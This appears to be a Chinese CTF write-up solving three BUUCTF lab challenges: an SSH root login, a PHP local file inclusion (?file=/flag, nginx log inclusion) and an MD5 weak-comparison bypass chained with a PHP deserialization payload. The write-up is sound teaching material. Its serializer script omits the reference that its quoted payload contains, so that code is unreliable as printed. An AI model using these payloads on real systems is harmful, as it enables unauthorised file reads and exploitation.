1. Linux Labs

打开靶机很茫然,什么也点不开
在这里插入图片描述
访问地址
在这里插入图片描述根据题目提示是ssh服务相关的,这就需要用到Linux虚拟机
于是启动kali Linux,直接打开命令行界面输入命令
端口号是随机生成的,网站地址题目有给出
在这里插入图片描述

ssh -p d端口号 root@node4.buuoj.cn
yes
密码

在虚拟机中访问ssh服务
在这里插入图片描述成功以root身份登录ssh服务后就可以进入目录

cd/
ls

可以看到有一个flag.txt文件,打开看看

cat flag.txt

得到flag

2. BUU LFI COURSE

属于PHP文件包含类型题目
题目已经给出了提示:LFI(Local File Include)
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程一般被称为文件包含。
在这里插入图片描述
文件包含在 php 中,涉及到的危险函数有四个,分别是 include()、include_once()、require()、require_once()。
区别如下:

  • include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
  • include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
  • require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
  • require_once:和 require 类似,不同处在于 require_once 只导入一次。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。在本题的PHP代码中即可看到include函数
因为文件路径可控,当输入系统的密码文件所在路径时,内容会输出出来
在url后构造

?file=/flag

在这里插入图片描述
在这里插入图片描述flag即可显现

?file=/var/log/nginx/access.log :包含ngnix的日志记录

在这里插入图片描述

3. BUU CODE REVIEW

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);			//高亮显示当前页面源码

class BUU {							//类:BUU
   public $correct = "";			//公有属性:$correct
   public $input = "";				//公有属性:$input
	
   public function __destruct() {	//公有析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用
       try {
           $this->correct = base64_encode(uniqid());	//给correct赋值为base64_encode(uniqid())
           if($this->correct === $this->input) {		//判断两个属性是否全等
               echo file_get_contents("/flag");			//若全等,则打印根目录下的flag
           }
       } catch (Exception $e) {
       }
   }
}


if($_GET['pleaseget'] === '1') {		//判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

第二段代码开始时这个题目的关键
要求GET传入的参数pleaseget=1,于是GET处的参数很简单,就是

/?pleaseget=1

POST传入的参数pleasepost=2,同时要求md51和md52的值不同,但是md5值相同
于是涉及到了md5绕过的问题,md5这个地方可以用md5弱碰撞,因为是弱类型比较。以下几个的md5弱类型比较均相等

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

当然更简便的是直接使用空数组进行绕过,因此POST的参数第一部分为

pleasepost=2&md51[]=1&md52[]=2
或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a

再往下看到unserialize就是反序列化问题,以及如何让两个类变量this->correct和this->input值相等
在这里插入图片描述使用的是php的传引用
在这里插入图片描述
于是我们构造脚本使得this->correct和this->input两个变量指向同一个内容。
因为每次都会执行$this->correct = base64_encode(uniqid());,所以我们不能将input设为具体的值,而是在序列化执行,令input=&correct

构造脚本如下

<?php
class BUU {
	public $correct="";
	public $input="";
}
$obj = new BUU();
$obj->input = $obj->correct;
echo serialize($obj);
?>

然后在http://c.runoob.com/compile/中将其进行序列化
在这里插入图片描述传入代码中反序列化后即可执行
得到了POST第二个部分的字段,最后拼接起来就是

pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//或者
pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

右键“检查”,使用Hackbar工具,输入对应的GET和POST参数然后Execute,得到flag

在这里插入图片描述

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐